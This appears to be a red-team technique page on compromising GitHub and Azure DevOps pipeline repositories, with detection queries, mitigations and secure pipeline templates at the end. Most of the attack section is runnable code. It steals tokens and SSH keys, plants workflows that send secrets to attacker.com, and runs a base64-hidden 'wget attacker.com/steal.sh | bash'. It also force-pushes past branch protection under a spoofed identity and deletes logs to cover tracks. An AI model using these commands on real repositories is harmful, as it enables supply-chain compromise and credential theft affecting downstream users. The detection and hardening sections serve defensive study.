| Attribute | Details |
|---|---|
| Technique ID | SUPPLY-CHAIN-001 |
| MITRE ATT&CK v18.1 | Compromise Software Dependencies and Development Tools (T1195.001) |
| Tactic | Resource Development / Initial Access |
| Platforms | Entra ID / DevOps (Azure DevOps, GitHub) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | GitHub Actions (all versions), Azure DevOps (all versions), GitLab (all versions) |
| Patched In | N/A - architectural vulnerability, not patch-dependent |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Pipeline repository compromise occurs when attackers gain unauthorized write access to a software development pipeline repository (GitHub, Azure DevOps, GitLab) and inject malicious code directly into the codebase, build configuration, or deployment workflows. This allows them to compromise the software build process itself, affecting all downstream consumers of the affected software. The attack leverages the trust relationship between developers and source control systems to distribute malicious code at scale.
Attack Surface: GitHub repositories, Azure DevOps repositories, GitLab repositories, GitHub Actions workflows, Azure Pipelines YAML files, CI/CD configuration files, branch protection settings, webhook configurations.
Business Impact: Complete supply chain compromise of affected software products. All downstream organizations that pull from or depend on the compromised repository become vulnerable to execution of malicious code during their own build/deployment processes. This can affect hundreds or thousands of downstream customers simultaneously, enabling mass data exfiltration, ransomware deployment, or persistent backdoor installation.
Technical Context: Repository compromise typically takes 10 minutes to several hours to execute once an attacker has credentials. Detection likelihood is low if branch protection rules are misconfigured or monitoring is absent. Common indicators include unexpected commits, new workflow files, changes to trusted branches, and unusual activity from service accounts or external IP addresses.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS v1.4.0 – SCM-2.2 | Source code management requires branch protection, code review, and audit logging for all changes. |
| DISA STIG | AC-2(a) – Account Management | Access to software repositories must be restricted to authorized personnel with MFA and regular credential rotation. |
| CISA SCuBA | SCUBA-GH-A1-01 | GitHub organizations must enforce MFA for all members and restrict action execution to approved workflows. |
| NIST 800-53 | SI-7 – Software, Firmware, and Information Integrity | Implement integrity controls for software development and deployment tools. |
| GDPR | Art. 32 – Security of Processing | Technical and organizational measures must protect the integrity of processing systems, including development pipelines. |
| DORA | Art. 9 – Protection and Prevention | Financial entities must establish controls to detect and prevent ICT threats to development infrastructure. |
| NIS2 | Art. 21 – Cyber Risk Management Measures | Critical infrastructure operators must secure development and CI/CD pipelines against unauthorized access. |
| ISO 27001 | A.8.3.4 – Password Management | Source control access credentials must be managed securely and rotated regularly. |
| ISO 27005 | Risk Scenario: Compromise of Source Code Repository | Assess risks of unauthorized modification or injection of malicious code into development repositories. |
Required Privileges: Developer or higher on repository, or admin-level access to Entra ID / organization (for account takeover). Service account credentials with write access. PAT (Personal Access Token) or OAuth application tokens with repo or admin:repo_hook scope.
Required Access: Network access to GitHub/Azure DevOps/GitLab APIs. Valid authentication credentials (username/password, PAT, SSH key, OAuth token, service principal credentials). Access to repository settings (to modify branch protection, webhooks, or deployment keys).
Supported Versions:
Azure CLI: Version 2.0+ (for Entra ID and Azure DevOps interaction)
Check for service accounts with high-privilege access:
# List service connections in Azure DevOps with exposed credentials
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}" --query "[?type=='GitHub' || type=='GitHubEnterpriseServer'].{name: name, url: url, authorization: authorization}"
# Check for personal access tokens in Entra ID
az ad app credential list --id "{app-id}" --query "[].{displayName: displayName, startDate: startDate}"
# Enumerate GitHub organization members and permissions
gh api orgs/{org}/members --paginate --query '.[].login'
gh api orgs/{org}/teams --paginate --query '.[].name'
What to Look For:
Owner or Admin roles in GitHub/Azure DevOps organizationsrepo:admin, workflow)admin:repo_hook or repo permissions granted by non-admin usersVersion Note: GitHub token enumeration commands work identically across all GitHub versions (Enterprise and Cloud). Azure DevOps queries may differ slightly between Azure DevOps Services and Server versions.
# List all PATs in an Azure DevOps organization (requires admin)
az devops security permission list --id 26338d40-e3cd-40e2-90a5-37eb4f00a4e1 --recurse true --detect --organization "https://dev.azure.com/{org}"
# Check GitHub repository branch protection rules
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/branches/{branch}/protection" | jq '.required_pull_request_reviews'
# List all GitHub deployments and deployment keys (potential backdoors)
gh api repos/{owner}/{repo}/deployments --paginate --query '.[].{id: id, creator: creator, status_state: status_state}'
What to Look For:
pull_request_target triggers without code review)Supported Versions: GitHub (all versions), Azure DevOps (all versions), GitLab (all versions)
Objective: Acquire GitHub PAT, Azure DevOps PAT, or SSH key through phishing, malware, or open-source leak.
Command (Credential Theft via Malware):
# Exfiltrate GitHub PAT from environment variables or config files
$githubToken = $env:GITHUB_TOKEN
if (-not $githubToken) {
$githubToken = Get-Content "~\.github\credentials" -ErrorAction SilentlyContinue
}
# Exfiltrate Azure DevOps PAT
$azureToken = $env:SYSTEM_ACCESSTOKEN # Set in Azure Pipelines jobs
if (-not $azureToken) {
$azureToken = Get-Content "~\.azure\tokens" -ErrorAction SilentlyContinue
}
# Exfiltrate SSH keys for Git authentication
$sshKeys = Get-ChildItem "~\.ssh\" -Filter "id_*" -Exclude "*.pub" | Select-Object -ExpandProperty FullName
# Exfiltrate git config credentials
git config --global --get-all credential.helper | Write-Output
Expected Output:
ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
C:\Users\attacker\.ssh\id_ed25519
C:\Users\attacker\.ssh\id_rsa
What This Means:
ghp_* prefix indicates a valid GitHub Personal Access TokenOpSec & Evasion:
Remove-Item (Get-PSReadlineOption).HistorySavePathTroubleshooting:
~\.ssh\config, IDE settings (VS Code, JetBrains), and browser developer toolsObjective: Validate stolen credentials and identify branch protection bypass opportunities.
Command (GitHub):
# Test GitHub PAT authentication
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/user" | jq '.login, .id'
# List repository branch protection rules (requires `repo` or `admin:repo_hook` scope)
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/branches/main/protection" | jq '.'
# Check if pull request reviews can be dismissed
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/branches/main/protection/required_pull_request_reviews" \
| jq '.dismiss_stale_reviews'
Expected Output (Vulnerable Config):
{
"required_pull_request_reviews": {
"dismissal_restrictions": {
"users": [],
"teams": []
},
"dismiss_stale_reviews": true,
"require_code_owner_reviews": false,
"required_approving_review_count": 1
},
"enforce_admins": false
}
What This Means:
enforce_admins: false allows repository admins to bypass branch protection (administrator override)required_approving_review_count: 1 means only 1 approval is needed (low threshold)dismiss_stale_reviews: true allows dismissal of previous reviews before new commitsrequire_code_owner_reviews: false allows PRs without codeowner approvalCommand (Azure DevOps):
# List Azure DevOps repository policies
az repos policy list --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}" --detect
# Check if require reviewer policy is enforced
az repos policy approver-count list --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}"
OpSec & Evasion:
Objective: Inject malicious code into main/master branch, bypassing branch protection if possible.
Command (Bypass Stale Review Dismissal):
# Clone repository
git clone https://github.com/{owner}/{repo}.git
cd {repo}
# Configure git with attacker identity
git config user.name "Legitimate Developer"
git config user.email "dev@company.com"
# Create malicious code change (e.g., CI/CD credential exfiltration)
cat >> ".github/workflows/exfil-secrets.yml" << 'EOF'
name: Exfiltrate Secrets
on: [push, pull_request]
jobs:
exfil:
runs-on: ubuntu-latest
steps:
- name: Dump Secrets
run: |
echo "Exfiltrating credentials..."
env | grep -E "TOKEN|SECRET|KEY|PASSWORD" | base64 -w0 | \
curl -d @- https://attacker.com/webhook
EOF
# Commit malicious change
git add .github/workflows/exfil-secrets.yml
git commit -m "Fix: Add security scanning workflow"
# Bypass branch protection by creating PR, waiting for CI to pass, then force-pushing
# (Only works if enforce_admins=false and attacker is repo admin)
git push --force origin main
Expected Output (Success):
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
...
+ [force update] main -> main (forced update)
What This Means:
Command (Alternative: Merge Stale PR):
# If require_code_owner_reviews=false, attacker can:
# 1. Create PR with malicious code
# 2. Wait for legitimate approval
# 3. Dismiss stale reviews (if enabled)
# 4. Make new innocuous changes to reset review counter
# 5. Merge without new approval
# Create feature branch
git checkout -b feature/add-security-policy
# ... make malicious commit ...
git push origin feature/add-security-policy
# Open PR via GitHub Web UI or:
gh pr create --base main --head feature/add-security-policy --title "Add security scanning" --body "Standard security improvement"
OpSec & Evasion:
echo "Build failed: $SECRETS" > error.logTroubleshooting:
enforce_admins=falseObjective: Ensure malicious workflow executes and sensitive data is exfiltrated to attacker infrastructure.
Command (Manual Trigger):
# Trigger workflow run manually (requires workflow_dispatch event)
gh workflow run exfil-secrets.yml --repo {owner}/{repo}
# Monitor workflow execution in real-time
gh run watch --repo {owner}/{repo} --exit-status
# Retrieve workflow logs (including exfiltrated data)
gh run view {run-id} --repo {owner}/{repo} --log
Expected Output (Exfiltrated Secrets):
Exfiltrating credentials...
GITHUB_TOKEN=ghu_xxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxx
DOCKER_PASSWORD=xxxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIAxxxxxxxxxxxxx
What This Means:
Command (Automatic Trigger on Push):
# Malicious workflow runs automatically on every push
git commit --allow-empty -m "Trigger workflow"
git push origin main
# Workflow executes and exfiltrates secrets to attacker webhook
# Attacker can monitor webhook for incoming secrets in real-time
OpSec & Evasion:
-s flag to suppress outputgh run delete {run-id}Supported Versions: GitHub (3.0+), GitHub Enterprise Server (3.0+), Azure DevOps (all)
Objective: Identify OAuth applications granted broad permissions (e.g., repo:admin, workflow) by legitimate users.
Command (GitHub):
# Enumerate OAuth applications (visible to any user)
gh auth status --show-token # Shows current token scope
# Enumerate organization OAuth apps (requires admin in organization)
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/installations" | jq '.[].{id: id, app_id: app_id, account: account}'
# Check app permissions
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/app/installations/{installation_id}/access_tokens" \
-X POST \
-d '{"permissions": {"contents": "read", "workflows": "write"}}' | jq '.token'
What to Look For:
admin:repo_hook, repo:admin, workflow permissionswrite access to workflows (can inject malicious jobs)Objective: Use leaked OAuth token to create malicious PR or commit.
Command:
# Using stolen OAuth app token, create malicious commit on protected branch
curl -X POST \
-H "Authorization: token $OAUTH_APP_TOKEN" \
-H "Accept: application/vnd.github.v3+json" \
"https://api.github.com/repos/{owner}/{repo}/contents/.github/workflows/steal-secrets.yml" \
-d '{
"message": "Add workflow",
"content": "bmFtZTogU3RlYWwgU2VjcmV0cwpvbjogW3B1c2hdCmpvYnM6CiAgc3RlYWw6CiAgICBydW5zLW9uOiB1YnVudHUtbGF0ZXN0CiAgICBzdGVwczoKICAgICAgLSBydW46IHdnZXQgaHR0cHM6Ly9hdHRhY2tlci5jb20vc3RlYWwuc2ggfCBiYXNo",
"branch": "main"
}'
OpSec & Evasion:
Supported Versions: Azure DevOps (all), GitHub Enterprise with OIDC federation
Objective: Extract service principal credentials used by automation, stored in Azure Key Vault or CI logs.
Command (Azure DevOps Credential Leak):
# Service principal credentials are often hardcoded in Azure Pipelines
# Example: Service connection stores credentials in System.AccessToken
# Access exposed service principal credentials from build logs
# (if logging is not properly sanitized)
$servicePrincipalToken = $env:SYSTEM_ACCESSTOKEN
# Create access token using service principal client ID and secret
$clientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientSecret = "xxx~xxxxxxxxx-xxxxxxxxxxxxxxxxxxxx"
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Authenticate to Azure
$body = @{
grant_type = "client_credentials"
client_id = $clientId
client_secret = $clientSecret
resource = "https://dev.azure.com"
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/token" `
-Method POST -ContentType "application/json" -Body $body
$azureToken = $response.access_token
Expected Output:
access_token : eyJhbGc... [truncated JWT token]
What This Means:
Objective: Inject malicious code into Azure DevOps pipeline YAML or create backdoor pipeline.
Command:
# Using service principal token, update Azure Pipelines YAML to exfiltrate secrets
$azureDevOpsOrg = "https://dev.azure.com/{org}"
$project = "{project}"
$repoId = "{repo-id}"
$filePath = "azure-pipelines.yml"
$maliciousYAML = @'
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
steps:
- script: |
env | grep -E "TOKEN|SECRET|KEY" | curl -d @- https://attacker.com/webhook
displayName: 'Build'
'@
# Update pipeline file
$updateUri = "$azureDevOpsOrg/$project/_apis/git/repositories/$repoId/pushes?api-version=7.0"
$headers = @{
Authorization = "Bearer $azureToken"
"Content-Type" = "application/json"
}
$pushPayload = @{
refUpdates = @(
@{
name = "refs/heads/main"
oldObjectId = "0000000000000000000000000000000000000000"
newObjectId = (git rev-parse HEAD)
}
)
commits = @(
@{
comment = "Update pipeline"
changes = @(
@{
changeType = 2 # Add
item = @{ path = $filePath }
newContent = @{ content = $maliciousYAML; contentType = 2 } # Plain text
}
)
}
)
} | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri $updateUri -Method POST -Headers $headers -Body $pushPayload
OpSec & Evasion:
Note: No official Atomic Red Team test exists for repository compromise (not applicable to Windows endpoints). The following represents a red team exercise framework:
Execution Steps:
Version: 2.0+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install gh
# Windows (via Chocolatey)
choco install gh
# Linux (via package manager)
sudo apt-get install gh
# Verify installation
gh --version
Usage Examples:
# Authenticate to GitHub
gh auth login
# Create a pull request
gh pr create --base main --head feature-branch --title "Add feature"
# Enumerate repository collaborators
gh repo view {owner}/{repo} --json collaborators --template '' --jq '.[] | .login'
# List all workflows in repository
gh workflow list --repo {owner}/{repo}
# Trigger a workflow
gh workflow run {workflow-name} --repo {owner}/{repo}
# View workflow run logs
gh run view {run-id} --repo {owner}/{repo} --log
Version: 2.0+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install azure-cli
# Windows
msiexec /i AzureCLI.msi
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Usage Examples:
# Authenticate
az login
# List service connections
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}"
# Update repository policy
az repos policy create --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}"
# Create service principal
az ad sp create-for-rbac --name "BuildAutomation" --role "Contributor"
Version: 2.30+
Critical Commands:
# Clone repository
git clone https://github.com/{owner}/{repo}.git
# Create and push branch
git checkout -b malicious-branch
git commit --allow-empty -m "Trigger CI/CD"
git push -u origin malicious-branch
# Force push (if allowed by branch protection)
git push --force origin main
# Revert commits (post-compromise cleanup)
git revert HEAD~5..HEAD
git push origin main
Rule Configuration:
KQL Query:
// Detect suspicious pushes to main/master branch outside normal hours
GithubAuditLog
| where TimeGenerated > ago(5m)
| where event == "push"
| where action == "repo.push" or action == "push"
| where ref == "refs/heads/main" or ref == "refs/heads/master"
| extend actor = tostring(actor)
| extend payload = parse_json(payload)
| where hourofday(TimeGenerated) < 6 or hourofday(TimeGenerated) > 22 // Outside business hours
| where actor !in ('github-actions[bot]', 'dependabot[bot]') // Exclude bots
| project TimeGenerated, actor, repository, ref, commit_count = toint(payload.push.size), action
| where commit_count > 0
| summarize PushCount = count() by actor, repository
| where PushCount > 3 // Multiple pushes in short window
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Repository Push to Main BranchHigh5 minutes1 hourManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "your-rg"
$WorkspaceName = "your-sentinel-workspace"
# Note: Requires Azure Sentinel resource provider registration
$ruleContent = @{
displayName = "Suspicious Repository Push to Main Branch"
description = "Detects unauthorized or unusual pushes to main branch"
severity = "High"
enabled = $true
query = (Get-Content -Path "kql-query.kql" -Raw)
frequency = "PT5M"
period = "PT1H"
}
Source: GitHub Audit Log API Documentation
Rule Configuration:
KQL Query:
// Detect Azure Pipelines jobs that access environment variables (credential theft pattern)
AzureActivity
| where TimeGenerated > ago(1m)
| where OperationNameValue in ('Microsoft.Build/builds/write', 'Microsoft.VisualStudio/pipelines/read', 'Microsoft.VisualStudio/pipelines/execute')
| where ActivityStatusValue == "Success" or ActivityStatusValue == "Started"
| extend Properties = parse_json(tostring(Properties))
| extend JobName = tostring(Properties.jobName), BuildId = tostring(Properties.buildId)
| where JobName has_any ('secret', 'cred', 'token', 'key', 'password', 'exfil', 'dump') // Suspicious keywords
| project TimeGenerated, Caller, OperationNameValue, JobName, BuildId, ActivityStatusValue
| summarize ExfiltrationAttempts = count() by Caller, JobName
| where ExfiltrationAttempts > 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure Pipelines Credential Exfiltration AttemptCritical1 minuteNote: Repository compromise is a cloud-based attack and does not generate Windows Event Log entries. However, if a CI/CD agent is running on Windows, the following events may indicate compromise:
Event ID: 4688 (Process Creation)
Image contains 'curl' AND CommandLine contains '-d @-' AND CommandLine contains 'webhook'Manual Configuration Steps (Group Policy):
gpupdate /force on CI/CD agent machinesEvent ID: 4690 (Registry Object Access)
ObjectName contains 'Internet Settings'Enforce Multi-Factor Authentication (MFA) on all developer accounts: GitHub: Requires Security Key or authenticator app for all members Azure DevOps: Enable MFA via Entra ID Conditional Access
Manual Steps (GitHub):
Manual Steps (Azure DevOps):
Enforce MFA for Azure DevOpsValidation Command:
# GitHub: Verify MFA is required
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/members" | jq '.[].two_factor_authentication_enabled'
# Azure DevOps: Verify Conditional Access policy exists
az ad conditional-access policy list --query "[?contains(displayName, 'Azure DevOps')]" -o table
Implement branch protection rules with mandatory code review:
Manual Steps (GitHub):
main or masterManual Steps (Azure DevOps):
main branch, enable:
Implement Secret Detection in CI/CD pipelines:
GitHub Action Secret Scanner:
name: Secret Scanning
on: [push, pull_request]
jobs:
secret-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: TruffleHog Secret Detection
run: |
pip install truffleHog
truffleHog filesystem . --json > secrets.json
if [ -s secrets.json ]; then
echo "Secrets detected!"
cat secrets.json
exit 1
fi
Azure Pipelines Secret Scanning:
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
steps:
- script: |
pip install truffleHog detect-secrets
truffleHog filesystem . --json > /tmp/secrets.json
if [ -s /tmp/secrets.json ]; then
echo "##vso[task.logissue type=error]Secrets detected in repository"
exit 1
fi
displayName: 'Scan for Secrets'
Rotate Personal Access Tokens (PATs) regularly:
GitHub:
repo only, not admin:repo_hook) curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/user/installations" | jq '.installations[].access_tokens_url'
Azure DevOps:
# List and rotate PATs
az devops service-endpoint list --organization "https://dev.azure.com/{org}" \
--query "[?type=='GitHub'].authentication.parameters.accessToken" --output table
Manual Steps (GitHub Web UI):
Implement Deployment Approvals for production:*
GitHub Environments:
name: Deploy to Production
on: [workflow_dispatch]
jobs:
deploy:
environment:
name: production
url: https://example.com
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Deploy
run: |
# Deployment steps
echo "Deploying to production..."
Manual Configuration:
main onlyRestrict GitHub Actions to approved workflows:
Manual Steps:
actions/checkout@*, actions/setup-node@*, actions/setup-python@*run-ons: [self-hosted] (prevent arbitrary code execution)Conditional Access: Restrict Azure DevOps access to compliant devices
Manual Steps:
Restrict Azure DevOps to Compliant DevicesRBAC: Remove “Owner” role from service accounts
Manual Steps (GitHub):
Command (Verification):
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/members/{username}" | jq '.role'
# Check if branch protection is enforced
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/branches/main/protection" | \
jq 'if .enforce_admins == true then "✓ Admins cannot bypass" else "✗ Admins can bypass" end'
# Check if MFA is enforced in organization
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}" | jq '.two_factor_requirement_enabled'
# Verify PAT expiration is set
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/user/installations" | jq '.[].expires_at'
Expected Output (If Secure):
✓ Admins cannot bypass
true
"2026-04-10T00:00:00Z"
What to Look For:
enforce_admins: true - Admins cannot bypass branch protectiontwo_factor_requirement_enabled: true - Organization requires MFAexpires_at: <future date> - Tokens have expiration dates setmain/master branch outside normal hoursgit log contains suspicious commits with exfil/credential keywords.github/workflows/ directory contains malicious YAMLaction: repo.pushcurl or wget commands posting dataghp_*, npm_*, AKIA*) in plaintext# Immediately revoke compromised credentials
curl -H "Authorization: token $GITHUB_TOKEN" \
-X DELETE \
"https://api.github.com/applications/grants/{grant_id}"
# Revoke Azure DevOps service connections
az devops service-endpoint delete --organization "https://dev.azure.com/{org}" \
--id "{endpoint_id}" --yes
Manual (GitHub):
Manual (Azure DevOps):
# Export Git commit history
git log --all --oneline --decorate > /tmp/git-history.txt
# Export GitHub audit logs
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/audit-log" > /tmp/audit-log.json
# Export Azure activity logs
az activity-log list --resource-group "{rg}" --output json > /tmp/activity-log.json
Manual:
# Revert malicious commits
git revert <commit-hash>
git push origin main
# Delete malicious workflows
rm .github/workflows/malicious-workflow.yml
git commit -m "Remove malicious workflow"
git push origin main
# Reset branch protection rules
curl -H "Authorization: token $GITHUB_TOKEN" \
-X PUT \
-d '{"enforce_admins": true, "required_pull_request_reviews": {"required_approving_review_count": 2}}' \
"https://api.github.com/repos/{owner}/{repo}/branches/main/protection"
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Resource Development | [REC-CLOUD-002] | ROADtools reconnaissance to enumerate service principals and applications in Entra ID |
| 2 | Initial Access | [IA-PHISH-001] | Device code phishing to compromise developer account credentials |
| 3 | Credential Access | [CA-CRED-015] | OAuth consent abuse to obtain high-privilege application tokens |
| 4 | Current Step | [SUPPLY-CHAIN-001] | Pipeline Repository Compromise - inject malicious code |
| 5 | Execution | [EXE-CI-CD-001] | Trigger CI/CD pipeline to execute malicious workflow and exfiltrate secrets |
| 6 | Persistence | [PERSIST-001] | Create backdoor service principal or deployment key for continued access |
| 7 | Exfiltration | [EXFIL-001] | Harvest and exfiltrate GitHub/npm tokens, cloud credentials to attacker infrastructure |
| 8 | Impact | [SUPPLY-CHAIN-002] | Build System Access Abuse - use stolen tokens to poison downstream packages |
postinstall script executed malicious bundle.js that harvested GitHub tokens, npm tokens, and AWS credentialsname: Secure Build Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
pull-requests: read
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Checkout code (read-only)
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Scan secrets
run: |
pip install detect-secrets
detect-secrets scan --baseline .secrets.baseline
- name: Lint and test
run: |
npm install
npm run lint
npm test
- name: Build (no external calls)
run: npm run build
- name: SBOM generation
uses: CycloneDX/cyclonedx-npm@v4
with:
output-file: cyclonedx-sbom.json
- name: Sign and hash artifacts
run: |
sha256sum dist/* > CHECKSUMS.txt
gpg --detach-sign CHECKSUMS.txt
deploy:
needs: build
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
environment:
name: production
url: https://example.com
permissions:
contents: read
deployments: read
steps:
- name: Wait for approval
run: echo "Approved by human reviewer"
- name: Deploy to production
run: echo "Deploying verified artifacts..."
trigger:
- main
pr:
- main
pool:
vmImage: 'ubuntu-latest'
variables:
buildConfiguration: 'Release'
stages:
- stage: Build
displayName: 'Build and Test'
jobs:
- job: BuildJob
displayName: 'Build Job'
steps:
- checkout: self
fetchDepth: 0
- task: UsePythonVersion@0
inputs:
versionSpec: '3.10'
- script: |
pip install detect-secrets truffleHog
truffleHog filesystem . --json | tee secrets.json
if [ -s secrets.json ]; then
echo "Secrets detected - failing build"
exit 1
fi
displayName: 'Scan for Secrets'
- script: |
npm install --frozen-lockfile
npm run lint
npm test
displayName: 'Build and Test'
- script: |
npm run build
sha256sum dist/* > CHECKSUMS.txt
displayName: 'Package Artifacts'
- stage: Deploy
displayName: 'Deploy to Production'
dependsOn: Build
condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/main'))
jobs:
- deployment: ProductionDeploy
displayName: 'Production Deployment'
environment: 'production'
strategy:
runOnce:
deploy:
steps:
- download: current
artifact: drop
- script: |
echo "Deploying to production..."
# Deployment scripts here
displayName: 'Deploy Application'